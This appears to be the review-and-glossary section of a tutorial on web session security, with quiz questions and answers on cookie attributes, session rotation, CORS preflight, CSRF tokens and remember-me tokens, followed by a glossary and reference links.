1 — Why can the server not see a cookie's Max-Age or Secure flag on later requests? Must-know
Answer
Answer: The browser returns only name=value pairs in the Cookie header; attributes are instructions to the browser and live only in its cookie jar.
2 — What does __Host- guarantee, and what must the Set-Cookie contain? Important
Answer
Answer: A supporting browser accepts the cookie only if it has Secure, Path=/ and no Domain, and was set from a secure origin. This binds it to one host so sibling subdomains and HTTP pages cannot overwrite it.
3 — Why rotate the session id on login? Must-know
Answer
Answer: To defeat session fixation: an attacker who planted or knew the pre-login id would otherwise own the authenticated session.
4 — Explain idle vs absolute timeout and why you need both. Must-know
Answer
Answer: Idle ends a session after inactivity; absolute ends it a fixed time after login regardless of activity. Without absolute, a stolen cookie used regularly never expires.
5 — When is a preflight sent and what does it carry? Must-know
Answer
Answer: For non-simple cross-origin requests (methods other than GET/HEAD/POST, non-safelisted headers like X-CSRF-Token, JSON content type). It is an OPTIONS request with Origin, Access-Control-Request-Method and Access-Control-Request-Headers, and no cookies.
6 — Why is reflecting the Origin header together with Allow-Credentials: true dangerous? Must-know
Answer
Answer: Every website would be allowed to read authenticated responses of any visitor who is logged in to your API.
7 — What does Vary: Origin protect against? Important
Answer
Answer: Caches (CDN, browser) serving a response with one origin's Access-Control-Allow-Origin to a different origin, producing failures or leaks.
8 — Why is the naive double submit cookie weak and how does the signed variant fix it? Important
Answer
Answer: An attacker who can set a cookie (sibling subdomain, HTTP injection) can supply a matching cookie and header. Binding the token with an HMAC to the session id means a forged value does not match the victim's session.
9 — What is the difference between same-origin and same-site? Must-know
Answer
Answer: Origin = scheme + host + port. Site = scheme + registrable domain, so app.example.com and api.example.com are same-site but different origins.
10 — How does the selector/validator pattern limit damage from a database leak and from cookie theft? Good to know
Answer
Answer: The database stores only the hash of the validator, so a leak cannot recreate cookies; each token is single-use and a wrong validator for a known selector triggers revocation of that user's tokens.
11 — Why prefer JSON over PHP serialize for cookie or session payloads? Good to know
Answer
Answer: unserialize can instantiate classes and trigger magic methods when fed attacker-controlled data (object injection); JSON can only produce plain data.
12 — A SPA at https://app.example.com calls https://api.example.com with cookies. List the settings needed. Important
Answer
Answer: credentials: "include" (or withCredentials), Access-Control-Allow-Origin: https://app.example.com with Allow-Credentials: true and Vary: Origin, allowed headers and methods in the preflight, a session cookie whose Domain and SameSite let it be sent (same-site works with Lax for the API), and a CSRF token header.
Glossary
| Term | Meaning |
|---|---|
| Session | Server-side or client-side state tied to one browser across requests |
| Cookie | Name, value and attributes stored by the browser and returned in Cookie |
Set-Cookie | Response header that creates or updates a cookie |
| Domain | Attribute widening a cookie to subdomains |
| Path | Attribute limiting a cookie to a URL prefix |
| Expires / Max-Age | Cookie lifetime as a date or in seconds; Max-Age wins |
| Secure | Cookie sent only over HTTPS |
| HttpOnly | Cookie hidden from JavaScript |
| SameSite | Policy for sending a cookie on cross-site requests: Lax, Strict, None |
__Host- / __Secure- prefix | Name prefixes whose rules browsers enforce |
| Third-party cookie | Cookie set by a site other than the top-level page |
| CHIPS / Partitioned cookie | Cookie stored in a jar per top-level site |
| Session id | Random lookup key for a server-side session |
| Entropy | Measure of unpredictability; at least 64 bits for session ids |
| Session store | Shared storage of session records (Redis, database) |
| Sticky session | Routing a client to the same backend |
| Session fixation | Attack that forces a known session id on a victim |
| Session rotation | Issuing a new id for existing session data |
| Idle timeout | Expiry after inactivity |
| Absolute timeout | Expiry a fixed time after login |
| Stateless session | State stored in the client, verified by signature |
| Signed / encrypted cookie | Cookie protected by HMAC / authenticated encryption |
| HMAC | Keyed hash used to authenticate a value |
| Serialization | Converting in-memory data to bytes; PHP serialize vs JSON |
| CSRF | Cross-site request forgery using ambient cookies |
| Synchronizer token | Per-session secret kept on the server and echoed in requests |
| Double submit cookie | Token sent both in a cookie and a header and compared |
| Same-origin policy | Browser rule blocking cross-origin reads |
| CORS | Opt-in headers allowing cross-origin reads |
| Preflight | OPTIONS request that precedes a non-simple CORS request |
Access-Control-Allow-Origin | Names the origin allowed to read the response |
Vary: Origin | Tells caches the response depends on the Origin header |
| Remember-me | Long-lived revocable token that creates new sessions |
| Selector / validator | Public lookup part and secret part (stored hashed) of a token |
| Flash data | Session data kept for the next request only |
| BFF | Backend for frontend: an edge service owning the browser session |
References
- RFC 6265, HTTP State Management Mechanism: https://www.rfc-editor.org/rfc/rfc6265.html
- draft-ietf-httpbis-rfc6265bis (SameSite, prefixes, 4096 limit): https://httpwg.org/http-extensions/draft-ietf-httpbis-rfc6265bis.html
- Fetch Standard (CORS protocol, preflight): https://fetch.spec.whatwg.org/
- MDN, Cross-Origin Resource Sharing: https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS
- MDN, Set-Cookie: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie
- MDN, Using HTTP cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Cookies
- MDN, Same-origin policy: https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
- OWASP, Session Management Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
- OWASP, CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- Chrome, CHIPS (partitioned cookies): https://developers.google.com/privacy-sandbox/cookies/chips
- Laravel 13, HTTP session: https://laravel.com/docs/13.x/session
- Laravel 13, CSRF protection: https://laravel.com/docs/13.x/csrf
- Laravel 13, Sanctum: https://laravel.com/docs/13.x/sanctum
- Laravel 13, Encryption: https://laravel.com/docs/13.x/encryption
- Laravel 13, Routing (CORS): https://laravel.com/docs/13.x/routing
- Laravel 13, Authentication (remember me, other devices): https://laravel.com/docs/13.x/authentication
- PHP manual, session security: https://www.php.net/manual/en/session.security.php
- PHP manual, session configuration: https://www.php.net/manual/en/session.configuration.php
- PHP manual, session_regenerate_id: https://www.php.net/manual/en/function.session-regenerate-id.php
- Go, net/http: https://pkg.go.dev/net/http
- gorilla/securecookie: https://github.com/gorilla/securecookie and https://pkg.go.dev/github.com/gorilla/securecookie
- go-redis v9: https://pkg.go.dev/github.com/redis/go-redis/v9
- Redis, EXPIRE: https://redis.io/docs/latest/commands/expire/